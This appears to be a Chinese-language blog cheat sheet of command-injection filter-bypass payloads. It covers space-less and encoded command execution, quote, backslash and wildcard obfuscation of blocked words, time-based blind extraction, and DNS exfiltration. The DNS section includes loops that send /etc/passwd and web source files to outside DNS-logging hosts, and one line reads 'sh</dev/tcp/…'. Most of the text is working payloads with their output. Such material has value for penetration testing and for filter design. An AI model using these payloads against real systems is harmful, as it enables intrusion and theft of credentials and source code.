命令注入绕过技巧总结

时间:2024-01-26 16:12:17

# 命令注入绕过技巧总结

> 命令注入是一个安全漏洞,它使攻击者可以在易受攻击的应用程序中执行任意命令。

### 基本命令

```
root@micr067:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

### 链接命令

```bash
demo; ls
cat demo.txt && ls
cat demo.txt | ls
cat demo || ls # 当前面的命令执行失败后面的命令才会执行
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/2DD5BBBEEB3B4BB38B09169B8D080341/98686)

### 在命令内

```
cat demo.txt `cat /etc/passwd`
cat demo.txt $(cat /etc/passwd)
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/BB9500041BF845EA9266D03CC556C228/98692)

## 过滤器绕过

### 无空格绕过

仅适用于Linux。

```
root@micr067:/tmp# cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

root@micr067:/tmp# {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

root@micr067:/tmp# cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

root@micr067:/tmp# echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

root@micr067:/tmp# X=$'uname\x20-a'&&$X
Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux

root@micr067:~# sh</dev/tcp/127.0.0.1/443
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/116216A9EA6C4D1CBD26D844BF61E679/98718)

不带空格,$或{}的命令执行-Linux(仅限Bash)

```powershell
root@micr067:~# IFS=,;`cat<<<uname,-a`
Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux
```

仅适用于Windows。

```powershell
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/C73463C57E23455284BD390134F43B0F/98731)
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/269AB5A0D8B248469967399C3CFB0AE9/98735)

### 通过十六进制编码绕过字符过滤

linux
```
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/F5BB7F74C6DA45A0BF40DC9FFE02B551/98744)
```
xxd -r -p <<< 2f6574632f706173737764

cat `xxd -r -p <<< 2f6574632f706173737764`
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/829CD098871B4D18BA7B1F95AF3140BE/98749)
```
xxd -r -ps <(echo 2f6574632f706173737764)

cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/349574BBD0184BCBBF95950C178477B8/98758)

### 绕过字符过滤器

不带反斜杠和斜杠的命令执行-Linux bash

```
echo ${HOME:0:1}
/

cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

echo . | tr '!-0' '"-1'
/

tr '!-0' '"-1' <<< .
/

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/C6809A81960D43379AE5E0254CF09BB2/98772)

### 绕过列入黑名单的单词

#### 单引号绕过

```
w'h'o'am'i
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/17B4704A58514DC9B36F8540814033D6/98782)
#### 双引号绕过

```
w"h"o"am"i
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/A5D75A29796144538DC58366EE874C57/98785)
#### 用反斜杠和斜杠绕过

```
w\ho\am\i
/\b\i\n/////s\h
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/00F6CC6F4611431D9C40C132392F4182/98798)
#### 使用 $@ 绕过

```powershell
who$@ami
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/3FA88C8415F2459DBA8B9FE218D53278/98803)
#### 可变扩展绕过

```
/???/c?t /???/p?ss??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/DF3921DF106B4CBF953029C25CB94602/98808)

#### 用通配符绕过

```
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/16ABC2652A494295A97B182256E78B03/98815)
win7:
`@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e`
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/26533513AA6546DE9A8F0EF724669B0D/98824)
win10:
```
@^p^o^w^e^r^shell C:\W*?w?\S*?32\?a?c.e?e

@^p^o^w^e^r^shell C:\W*?\S*?2\?a?c.e?e
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/E57D9DFC3F8844ADAAFA614F7FAE821F/98831)

## 基于时间的数据渗透

提取数据:按字符分配char
根据是否执行sleep 5来判断该用户名是否存在。

```
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

time if [ $(whoami|cut -c 1) == r ]; then sleep 5; fi
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/167F428DDD314FC19D0D773C663E714D/98894)
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/5714D64CDF0247D88FDBFB784CA7C665/98896)
## 基于DNS的数据渗透
##### dnsbin
项目地址:https://github.com/ettic-team/dnsbin
> DNSBin用于测试通过DNS进行的数据渗透,并在环境存在重大限制时帮助测试RCE或XXE等漏洞。

先将项目拷贝到本地
git clone https://github.com/ettic-team/dnsbin

1、首先创建两条A记录,然后创建两条NS记录,其值分别设置为两条A记录的域名。
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/735DD60EE5504853826F0FAD6561246C/98986)

2、将dnsbin\web目录拷贝到公网服务器上,然后安装nodejs环境。
安装nodejs:
```
wget https://nodejs.org/dist/v10.15.0/node-v10.15.0-linux-x64.tar.xz
```
第二步:解压
```
tar -xf node-v10.15.0-linux-x64.tar.xz
```
第三步:设置全局变量
```
1、打开文件

vim /etc/profile

2、最后一行放入

PATH=$PATH:/opt/node-v10.15.0/bin
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/A5E882736C5B46E589C36DC4619FA18E/98958)

第四步:刷新配置文件
`source /etc/profile `
最后测试
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/3D1AC94515024CC39CA8DE97D9B083B0/98962)

3、然后使用npm安装forever
`npm install -g forever`

4、开启web服务
测试:
```
for i in $(ls /root) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/CF13A03C685944348E22BD90408A23FE/98971)
```
1、先访问我们搭建的服务http://www.payload.ltd,会自动生成一个子域名。

2. 然后我们尝试执行一个简单的 'ls'

for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/EEA5E28EC7C54A179105A89D5EA917DF/98848)
然后,返回到我们的页面,可以看到已经接收并列出了我们root目录的内容。
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/94E311FA5F694D71944832DD3ED0A348/98854)
尝试 将 /etc/passwd 中的内容逐行列出来:
```
for i in $(cat /etc/passwd) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/D611556661E647C0A8D61CB245E8CF78/98874)
逐行读取源代码:
```
for i in $(ls /var/www/html) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done

for i in $(cat /var/www/html/webacoo.php) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
```
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/0EA38B466A0947F1BB13CB4DEC54FE54/98880)

用于检查基于DNS的数据渗透的在线工具:
- dnsbin.zhack.ca
- pingb.in

http://pingb.in/914ac82106dcb554ad385266b15b
![](https://note.youdao.com/yws/public/resource/d5543218dee991c02a1db65738dfccfa/xmlnote/B2C8E91E5BFA42AAB81C4857F693DC14/98926)

参考链接:
https://www.cnblogs.com/chenhaoyu/p/10237505.html
https://www.jianshu.com/p/7dffeb87bba9
https://www.cnblogs.com/sevck/p/6072721.html